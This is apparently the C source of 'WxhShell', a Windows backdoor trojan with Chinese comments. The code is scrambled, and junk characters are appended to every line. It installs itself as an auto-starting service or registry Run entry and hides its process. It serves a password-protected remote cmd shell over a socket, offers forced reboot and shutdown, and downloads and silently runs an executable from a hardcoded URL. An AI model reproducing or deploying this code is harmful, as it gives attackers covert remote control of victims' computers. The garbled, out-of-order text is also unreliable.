  // 关机 _Em.  
  case 'd': { {= F /C,-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); " N9 <wU  
    if(Boot(SHUTDOWN)) 8 0Gn%1A9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7O qX \  
    else { g K[YQXfTy  
    closesocket(wsh); @te!Jgu{  
    ExitThread(0); .=X}cJ]`[  
    } uf&myV7  
    break; oxz OA  
    } A'jP7 P  
  // 获取shell joiL{  
  case 's': { 2oNk 93D  
    CmdShell(wsh); wid;8%m  
    closesocket(wsh); %F-ZN^R  
    ExitThread(0); !V i@1E  
    break; SjwyLc  
  } [Pq}p0cD  
  // 退出 |MFF7z{%  
  case 'x': { a2 Y;xe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o]; [R  
    CloseIt(wsh); L$IQuy  
    break; L5 veX}  
    } %*`J k#W:  
  // 离开 UrYZ` J  
  case 'q': { QlO0qbG[y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RPE5K:P  
    closesocket(wsh); j( RWO  
    WSACleanup(); j^^Ap  
    exit(1); DDPxmuNG  
    break; hvDNz"ec{  
        } `kZ@Zmj#  
  } 3td)'}  
  } ]dI2y=[!C  
}^/9G17  
  // 提示信息 c@/(B:@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ni<A3OB  
} Z; A`oKd  
  } <;#~l*  
&!/}Qp  
  return; ^(|vsFzn  
} `"&d a#N]  
h $L/<3oP6  
// shell模块句柄 ;uw Ryd  
int CmdShell(SOCKET sock) ]cGA~d  
{ A7%:05  
STARTUPINFO si; `eIenA  
ZeroMemory(&si,sizeof(si)); rmE"rf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @> E2?CV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ioQb`=  
PROCESS_INFORMATION ProcessInfo; \Dd-Xn_b  
char cmdline[]="cmd"; { T-'t/0e(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mxz-4.  
  return 0; 0el9&l9Ew  
} &8]d }-e  
HmiJ~C_v`:  
// 自身启动模式 t5#rps\;  
int StartFromService(void) 0o9 3i u=&  
{ qL6 |6-?  
typedef struct Y@b.sMg{  
{ l)!n/x_ !  
  DWORD ExitStatus; TW[_Ko86  
  DWORD PebBaseAddress; = Wu *+paQ  
  DWORD AffinityMask; bZ|FnY}FB  
  DWORD BasePriority; UmQ?rS8d  
  ULONG UniqueProcessId; 6bBB/yd  
  ULONG InheritedFromUniqueProcessId; t=-SH^$SR  
}   PROCESS_BASIC_INFORMATION; 1$%V{4bJ  
^sVX)%  
PROCNTQSIP NtQueryInformationProcess; 76Vl6cPu>  
Er+nk`UR_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j4;0|zx-i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A9kzq_ 3  
/ew Ukc8,  
  HANDLE             hProcess; }w1~K'ck}>  
  PROCESS_BASIC_INFORMATION pbi; QoG cWJ  
1;mW,l'`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 72oF,42y  
  if(NULL == hInst ) return 0; p\JfFfC  
%5A+V0D0'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mL_j4=ER@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %YSu8G_t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x}Aw)QCh+r  
/yZQ\{=  
  if (!NtQueryInformationProcess) return 0; VxXzAeM  
DBT&DS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ h": >  
  if(!hProcess) return 0; 9Iz%ht  
hb^7oq"a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t| 'N+-T3  
#:^YI c  
  CloseHandle(hProcess); -$WYj "  
L30$%G|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e}.^Tiwd]  
if(hProcess==NULL) return 0; k31I ysh  
^ 8@Iyh  
HMODULE hMod; |'{zri|A"  
char procName[255]; aMvI?y {  
unsigned long cbNeeded; V 2i@.@$j  
_<NMyRJo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W~p/,HcM  
aOiR l,  
  CloseHandle(hProcess); tc!wLnhG  
a(v>Q*zNP  
if(strstr(procName,"services")) return 1; // 以服务启动 !}r% u."  
NN1$'"@NL  
  return 0; // 注册表启动 6+KHQFb&N  
}  R#DwF,  
5GPo*Qpl  
// 主模块 >$,y5 AJ&  
int StartWxhshell(LPSTR lpCmdLine) N1}={yF.fQ  
{ Vw&HVo  
  SOCKET wsl; 8WXJ.  
BOOL val=TRUE; yNqe8C,>e  
  int port=0; CBD6bl|A  
  struct sockaddr_in door; zBJ7(zh!  
ea 00\  
  if(wscfg.ws_autoins) Install(); zA!0l*H  
w&B#goS  
port=atoi(lpCmdLine); <1.A=_ M  
ulER1\W  
if(port<=0) port=wscfg.ws_port; "eWYv3z~-  
& _g TD  
  WSADATA data; ,ML[Wr'2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I~9hx*!%%  
E)9yH\$6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wlEo"BA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IW% |G  
  door.sin_family = AF_INET; S.d^T](  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?w+Ix~k  
  door.sin_port = htons(port); (Gw,2 -A  
}Iz7l{al   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _+^ 2^TW  
closesocket(wsl); S9>0t0  
return 1; acw4B5]  
} 3,Q^& 1  
#zR bx  
  if(listen(wsl,2) == INVALID_SOCKET) { ?x0pe4^If  
closesocket(wsl); ZKOXI%~Mc  
return 1; { vN}<f`  
} YNBHBK4;  
  Wxhshell(wsl); ,s_T pq  
  WSACleanup(); Zb134b'  
UD)e:G[Gat  
return 0; j $TwL;  
]d]JXt?)i  
} + \{&2a?  
1& '8Y  
// 以NT服务方式启动 WMBm6?54  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `r_m+]  
{ k~|-gf FP  
DWORD   status = 0; w1|A5q'M  
  DWORD   specificError = 0xfffffff; 0^8)jpL$<9  
W(Uu@^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4#'(" #R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?^EXTU85`"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f5GdZ_  
  serviceStatus.dwWin32ExitCode     = 0; >Z;jY*  
  serviceStatus.dwServiceSpecificExitCode = 0; *\o/q[  
  serviceStatus.dwCheckPoint       = 0; 1<h>B:  
  serviceStatus.dwWaitHint       = 0; Vm|Y$ C  
{" 4e+y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ad_`x  
  if (hServiceStatusHandle==0) return; 2]c {P\  
j}AFE  
status = GetLastError(); 'vbc#_;  
  if (status!=NO_ERROR) 9P<[7u  
{ _"%B7FK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zA;@@)hwR  
    serviceStatus.dwCheckPoint       = 0; XZ/[v8  
    serviceStatus.dwWaitHint       = 0; N|Sf=q?Ko  
    serviceStatus.dwWin32ExitCode     = status; <soz#}e  
    serviceStatus.dwServiceSpecificExitCode = specificError; S i nl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~WpGf,  
    return; thqS*I'#g  
  } NKmoG\*  
7HHysNB"w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0ilCS[`b  
  serviceStatus.dwCheckPoint       = 0; fof2 xcH!  
  serviceStatus.dwWaitHint       = 0; Ol')7d&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o1/lZm{\~n  
} uyF|O/FC  
\)48904^  
// 处理NT服务事件,比如:启动、停止 0liR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x#N-&baS  
{ `:eViVl6e  
switch(fdwControl) ,JEbd1Uf  
{ >z`,ch6~  
case SERVICE_CONTROL_STOP: 34QfgMyH  
  serviceStatus.dwWin32ExitCode = 0; }elH75[64  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nSCWg=E^  
  serviceStatus.dwCheckPoint   = 0; R <"6ojn  
  serviceStatus.dwWaitHint     = 0; oQ7]= |  
  { zLD|/`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O3.C:?;x  
  } b`_w])Y@  
  return; &VBd~4|p  
case SERVICE_CONTROL_PAUSE: e\b`n}nC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PjIeZ&p  
  break; =D^TK-H  
case SERVICE_CONTROL_CONTINUE: s6 }X t=j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SjEdyN#  
  break; !4rPv\   
case SERVICE_CONTROL_INTERROGATE: RAjkH`  
  break; ~=Ncp9ej#  
}; rz(0:vxwA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?v-1zCls  
} m4[g6pNx~  
60Z]M+8y8  
// 标准应用程序主函数 ?Mp1~{8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <g9"Cr`  
{ 8)VgS &B~  
c[ht`!P  
// 获取操作系统版本 3g~^LZ66  
OsIsNt=GetOsVer(); $iM=4 3W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K"2|[5  
Uw<&Wm`'  
  // 从命令行安装 x>~p;z#VX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~B$b)`*  
Y1dVM]l  
  // 下载执行文件 "*7C`y5&P  
if(wscfg.ws_downexe) { 1>r ,vD&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 3~Ikll  
  WinExec(wscfg.ws_filenam,SW_HIDE); r Db>&s3  
} o/,NGU  
> 4oY3wk8  
if(!OsIsNt) { 1zktU.SZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 A{<xc[w;p  
HideProc(); =raA?Bp3;(  
StartWxhshell(lpCmdLine); 9B)(>~q  
} @gSkROCdC)  
else Bfd-:`Jk  
  if(StartFromService()) j|e[s ? d  
  // 以服务方式启动 QT#6'>&7-b  
  StartServiceCtrlDispatcher(DispatchTable); G*\h\ @  
else ,kgF2K!  
  // 普通方式启动 )uP[!LV[e  
  StartWxhshell(lpCmdLine); =w<v3wWN4  
_N3}gFh>  
return 0; 2*U.^]~"{  
} yZJ*dadAr  
m h;X~.98  
Icp0A\L@  
:[M[(  
=========================================== %McO6.M@  
4(vyp.f  
0p fnV%  
cbKL$|  
!ax;5@J  
^t'3rft  
" &k T"oK  
F3ZxhkF  
#include <stdio.h> J -Qh/d%]  
#include <string.h> S:Tm23pe  
#include <windows.h> ' eO/PnYW  
#include <winsock2.h> CsSp=(  
#include <winsvc.h> -cNx1et  
#include <urlmon.h> gY`Nr!O  
U '[?9/T  
#pragma comment (lib, "Ws2_32.lib") 1h"_[`L'  
#pragma comment (lib, "urlmon.lib") #/j={*-  
Fu8 7fVi/\  
#define MAX_USER   100 // 最大客户端连接数 }gsO&g"8  
#define BUF_SOCK   200 // sock buffer "uu)2Xe  
#define KEY_BUFF   255 // 输入 buffer 6kvV  
4Y tk!oS`  
#define REBOOT     0   // 重启 ~"ONAX  
#define SHUTDOWN   1   // 关机 Uq X1E  
vW' 5 ` %  
#define DEF_PORT   5000 // 监听端口 b2h":G|s  
WfGH|u  
#define REG_LEN     16   // 注册表键长度 lv:U%+A  
#define SVC_LEN     80   // NT服务名长度 #Y[H8TW  
J"[3~&em  
// 从dll定义API =8{*@>CX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8.I9}_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  SNvb1&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QJ];L7Hbo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~Sy-ga J  
I{dl%z73  
// wxhshell配置信息 i=QqB0  
struct WSCFG { +Z? [M1g  
  int ws_port;         // 监听端口 q|q:: q*  
  char ws_passstr[REG_LEN]; // 口令 [Hcaw   
  int ws_autoins;       // 安装标记, 1=yes 0=no @)sc6 *lnW  
  char ws_regname[REG_LEN]; // 注册表键名 $ u2Cd4  
  char ws_svcname[REG_LEN]; // 服务名 _1JmjIH)M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PI7IBI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6tOi^+qN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '\*A"8;h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k)E;(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8wi A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g'G8 3F  
3kLOoL?  
}; - s|t^  
~eo^`4O{{  
// default Wxhshell configuration @ t@|q  
struct WSCFG wscfg={DEF_PORT, >rwYDT#m]  
    "xuhuanlingzhe", N^B@3QF  
    1, Ea`OT+#h(*  
    "Wxhshell", i X/tt  
    "Wxhshell", ",Wf uz  
            "WxhShell Service", Pi%tsKk%  
    "Wrsky Windows CmdShell Service", `?SGXXC  
    "Please Input Your Password: ", w67x l  
  1, 8Nvr93T,  
  "http://www.wrsky.com/wxhshell.exe", -Uf4v6A  
  "Wxhshell.exe" Tcs3>lJ}   
    }; v_-ls"l  
>5i?JUZ  
// 消息定义模块 +-HE '4mo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cnur"?w@o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3#9M2O\T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TczXHT}G  
char *msg_ws_ext="\n\rExit."; GUCM4jVT^  
char *msg_ws_end="\n\rQuit."; d]k='  
char *msg_ws_boot="\n\rReboot..."; zXgkcq)  
char *msg_ws_poff="\n\rShutdown..."; #D:RhqjK  
char *msg_ws_down="\n\rSave to "; |!re8|JV_  
\|!gPc%s  
char *msg_ws_err="\n\rErr!"; S 1ibw\'  
char *msg_ws_ok="\n\rOK!"; ,iOZ |  
'aPCb`^;w  
char ExeFile[MAX_PATH]; gY\mXM*^  
int nUser = 0; {gIEZ{  
HANDLE handles[MAX_USER]; [ i9[Mj  
int OsIsNt; /$OIlu  
^4hc+sh0D  
SERVICE_STATUS       serviceStatus; nE<J`Wo$f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RQ5P}A 3H  
K|~AA"I;  
// 函数声明 u.&|CF-  
int Install(void); NlFo$Y  
int Uninstall(void); a&:>Ped"  
int DownloadFile(char *sURL, SOCKET wsh); rHo6iJj  
int Boot(int flag); )GCLK<,swu  
void HideProc(void); Et0&E  
int GetOsVer(void); y(a}IM3~  
int Wxhshell(SOCKET wsl); 9R:(^8P8  
void TalkWithClient(void *cs); VLd=" ~  
int CmdShell(SOCKET sock); %jgg59  
int StartFromService(void); Z>HNe9pr  
int StartWxhshell(LPSTR lpCmdLine); lDU#7\5.  
</hR!Sb]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O &\<FT5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qqD0R*(C  
mE_iS?1  
// 数据结构和表定义 sBB:$X  
SERVICE_TABLE_ENTRY DispatchTable[] = a?\ `  
{ )Jz!Ut  
{wscfg.ws_svcname, NTServiceMain}, 0&o WfTg  
{NULL, NULL} o(nHB g  
}; `L">"V`$Bj  
&0h=4i=6r  
// 自我安装 p(7c33SyF  
int Install(void) *hl<Y,W(  
{ =KW|#]RB^  
  char svExeFile[MAX_PATH]; k^yy$^=<  
  HKEY key; tpz=} q  
  strcpy(svExeFile,ExeFile); ^X(_zinN"  
C0f[eA  
// 如果是win9x系统,修改注册表设为自启动 TQ2i{e  
if(!OsIsNt) { $WM8tF?H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `bi k/o=%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2q$X>ImI$  
  RegCloseKey(key); 1[# =,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DMRs}Yz6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vy:6_  
  RegCloseKey(key); ;9Hz{ej  
  return 0; ^zkd{ov  
    } `O jvt-5}E  
  } J b|mXNcL  
} n_ OUWvs  
else { ;p.j  
_]Z$YM  
// 如果是NT以上系统,安装为系统服务 1(D1}fcul  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q2D`1nT  
if (schSCManager!=0) ;?#i]Bh>S  
{  6.vNe  
  SC_HANDLE schService = CreateService r6<ArX$Yl  
  ( DvU~%%(0^  
  schSCManager, W|)(|W  
  wscfg.ws_svcname, 2voNgY  
  wscfg.ws_svcdisp, Z^C!RSQ  
  SERVICE_ALL_ACCESS, cRPr9LfD@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u'{sB5_H  
  SERVICE_AUTO_START, *Y^5M"AB_  
  SERVICE_ERROR_NORMAL, d?E4[7<t$1  
  svExeFile, EywZIw?mjX  
  NULL, rHR5,N:  
  NULL, CcbWW4 )  
  NULL, !/[AQ{**T!  
  NULL, Y}*Ctdrl  
  NULL s')!<E+z\t  
  ); \y<+Fac1S  
  if (schService!=0) pq@$&G  
  { UYl JO{|a  
  CloseServiceHandle(schService); ]IL3$eR  
  CloseServiceHandle(schSCManager); "P9wT)J_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xU:PhhS  
  strcat(svExeFile,wscfg.ws_svcname); :s? y,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ((n5';|N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  ; \Y-  
  RegCloseKey(key); o(vZ*^\  
  return 0; X/K| WOO6  
    } eDvXU_yA  
  } {_+>"esc  
  CloseServiceHandle(schSCManager); T9,lblU Q  
} G`&'Bt{Z*  
} NN?Bi=&9  
E]D4']  
return 1; !<JG&9ODP  
} ^$3w&$K*  
a^(S!I  
// 自我卸载 8j({=xbg&  
int Uninstall(void) ^2(";.m  
{ Yk x&6M@t  
  HKEY key; D}3cW2!9  
wpJ^}+kF  
if(!OsIsNt) { 9LUP{(uq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qM+!f2t  
  RegDeleteValue(key,wscfg.ws_regname); L+`}euu5  
  RegCloseKey(key); >7eu'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 47$-5k30  
  RegDeleteValue(key,wscfg.ws_regname); ">v_uq a  
  RegCloseKey(key); C _ k_D  
  return 0; im_0ur&'  
  } -uS7~Ww.a  
} e{d_p%(  
} 9~*_(yjF  
else { r5<e}t-  
rGP? E3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U* c{:K-C  
if (schSCManager!=0) xX[{E x   
{ +K @J*W 1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E}E7VQjM  
  if (schService!=0) !dYX2!lvT  
  { %6vMpB`g  
  if(DeleteService(schService)!=0) { EC:x  ,i  
  CloseServiceHandle(schService); \3 O-} n1S  
  CloseServiceHandle(schSCManager); AF07KA#  
  return 0;  yS(=eB_  
  } M<hs_8_*  
  CloseServiceHandle(schService); bDcWb2 lqs  
  } JRcuw'8+q  
  CloseServiceHandle(schSCManager); Fb $5&~d  
} ?.|wfBI  
} :$u{  
F\YcSDM  
return 1; cPa 0n4  
} yBD.Cs@  
?`BED6$`G9  
// 从指定url下载文件 Yn?2,^?N  
int DownloadFile(char *sURL, SOCKET wsh) 'bQ s_  
{ ;nHo%`Zt  
  HRESULT hr; _dB0rsCnU%  
char seps[]= "/"; $rV:&A  
char *token; {&Gk.ODI7  
char *file; +"fM &F]  
char myURL[MAX_PATH]; ({}O M=_  
char myFILE[MAX_PATH]; !F}J+N=}  
\3@2rW"5  
strcpy(myURL,sURL); Z{|.xgsY  
  token=strtok(myURL,seps); N1B$G  
  while(token!=NULL) ~]D \&D9=?  
  { #RZJ1uL  
    file=token; aL$c).hq0  
  token=strtok(NULL,seps); UC<[z#]\;  
  } {{#a%O  
!SD [6Z.R  
GetCurrentDirectory(MAX_PATH,myFILE); ML9T (th6v  
strcat(myFILE, "\\"); yQQDGFTb!=  
strcat(myFILE, file); { ?1 mY"  
  send(wsh,myFILE,strlen(myFILE),0); CgPZvB[  
send(wsh,"...",3,0); 5i wikC=y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cWy*K4O  
  if(hr==S_OK) 71.:p,Z@z  
return 0; <o"D/<XnB3  
else kAKqW7,q"  
return 1; eUUD|U*b   
j)SgB7Q  
} au9Wo<mR  
D aqy+:  
// 系统电源模块  *<h  
int Boot(int flag) <8xP-(wk;  
{ M cMK|_H  
  HANDLE hToken; _<' kzOj  
  TOKEN_PRIVILEGES tkp; Vzv.e6_  
f%"_U'  
  if(OsIsNt) { O7#}8-@}<u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]$`s}BN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {D_4~heF  
    tkp.PrivilegeCount = 1; MjF.>4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R4J>M@-0v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 86) 3XE[ 5  
if(flag==REBOOT) { hZF&PV5H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m@ 'I|!^  
  return 0; ]mGsNQ ].H  
} 'c+qBSDA  
else { XC8z|A-@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /x"pj3  
  return 0; >+c`GpZH  
} "x)pp  
  } :Pp;{=J  
  else { j~0ZE -e  
if(flag==REBOOT) { c75vAKZ2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3YNkT"~T  
  return 0; Y.hH fSp  
} \gW\Sa ^  
else { /;(%Xd&:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p2_Zsq  
  return 0; 4~D>oNx4  
} '[ddE!ta  
} t>=y7n&q  
1V9X(uP  
return 1; 2b&;Y/z  
} F~- S3p  
Zp(P)Obs#  
// win9x进程隐藏模块 N55=&-p  
void HideProc(void) &oEq&  
{ i:Ct6[  
?lw[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @p'v.;~#  
  if ( hKernel != NULL ) D+U/]sW  
  { \?ws0Ax  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X52jqXjg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4lKbw4[a  
    FreeLibrary(hKernel); J5_ qqD)  
  } v'~nABYH  
YQ`#C #Wb  
return; ~q%9zO'  
} #RIfR7`T  
<{).x 6  
// 获取操作系统版本 Z*Hxrw\!0  
int GetOsVer(void) /gy:#-2Gy  
{ _!g NF=  
  OSVERSIONINFO winfo; >wm$,%zk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u~T$F/]k>  
  GetVersionEx(&winfo); H;!hp0y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f*&JfP  
  return 1; GB0b|9(6D"  
  else >^ 1S26  
  return 0; $5AtI$TV_!  
} ifCGNvDR  
_"Ke=v_5  
// 客户端句柄模块 XI(@O)  
int Wxhshell(SOCKET wsl) =gv/9ce)3  
{ cj_?*  
  SOCKET wsh; *A9{H>Vq  
  struct sockaddr_in client; +Y^F>/4=Y  
  DWORD myID; ^znv[  
[(UqPd$  
  while(nUser<MAX_USER) 3\.)y49,1  
{ 3a[(GW _  
  int nSize=sizeof(client); 64j 4P 7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ovoI~k'  
  if(wsh==INVALID_SOCKET) return 1; A,[m=9V  
RV*Zi\-X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MAo,PiYb  
if(handles[nUser]==0) 5GxM?%\  
  closesocket(wsh); m@2xC,@  
else Bw7:ry  
  nUser++; %((3'le  
  } K}(n;6\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d_qVk4h\  
;xH'%W9z  
  return 0; c,%>7U(w_  
} !! #ale&  
f?^xh  
// 关闭 socket Xz@;`>8i  
void CloseIt(SOCKET wsh) #]HjP\C  
{ eQIi}\`  
closesocket(wsh); :DpK{$eCb  
nUser--; Ph_m'fbf  
ExitThread(0); /;$ew~}  
} )Bvu[r Uy  
* rANf&y  
// 客户端请求句柄 LVtQ^ 5>8  
void TalkWithClient(void *cs)  o%4+I>  
{ ul&7hHp_u%  
htSk2N/  
  SOCKET wsh=(SOCKET)cs; #_|^C(]!  
  char pwd[SVC_LEN]; k<hO9;#qpL  
  char cmd[KEY_BUFF]; I~6 ;9TlQ  
char chr[1]; 6oBt<r?CJ  
int i,j; <aD+Ki6  
`7n,(  
  while (nUser < MAX_USER) { ZKTBjOa]*  
M8Lj*JN  
if(wscfg.ws_passstr) { P[oB'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !K)|e4$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sb5kexGxkc  
  //ZeroMemory(pwd,KEY_BUFF); PS]X Lz  
      i=0; X0=- {<W  
  while(i<SVC_LEN) { XArLL5_L  
G ~\$Oq8  
  // 设置超时 bFXCaD!{G  
  fd_set FdRead; 41D[[Gh  
  struct timeval TimeOut; nu -wQr  
  FD_ZERO(&FdRead); HJrg  
  FD_SET(wsh,&FdRead); Om{ML,d  
  TimeOut.tv_sec=8; CI{TgL:l  
  TimeOut.tv_usec=0; <7Lz<{jaJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b#^D8_9h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `<Nc Y*  
M<7*\1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lV="IP^7  
  pwd=chr[0]; e]fC!>w(\  
  if(chr[0]==0xd || chr[0]==0xa) { 1'B?f# s  
  pwd=0; 4"=pcHNV  
  break; I2Q?7p  
  } Q{kuB+s  
  i++; Y[,C1,  
    } *~X\c Z  
Ms3/P|{"p  
  // 如果是非法用户,关闭 socket (dZ&Af  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #2=30  
} KWMH|sxO=  
A 76yz`D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mL+ps x+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (U<wKk"  
Z)0R$j`2  
while(1) { -fn~y1  
c+VUk*c3  
  ZeroMemory(cmd,KEY_BUFF); qQryv_QP  
Jy$-)  
      // 自动支持客户端 telnet标准   5=e@yIr'#  
  j=0; $]86w8?-N  
  while(j<KEY_BUFF) { ? ~8V;Qn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,)8Hl[y  
  cmd[j]=chr[0]; >MLqOUr#  
  if(chr[0]==0xa || chr[0]==0xd) { ~Q\[b%>J  
  cmd[j]=0; pTd@i1%Nr  
  break; 1's^W  
  } i^Q^F  
  j++; cl5:|)  
    } <L 0_< T  
iLei-\w6y  
  // 下载文件 vzPrG%Uu7g  
  if(strstr(cmd,"http://")) { -K4RQ{=>UZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); " 8v  
  if(DownloadFile(cmd,wsh)) ='azVw%_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )JON&~C  
  else XZJx3!~fm  
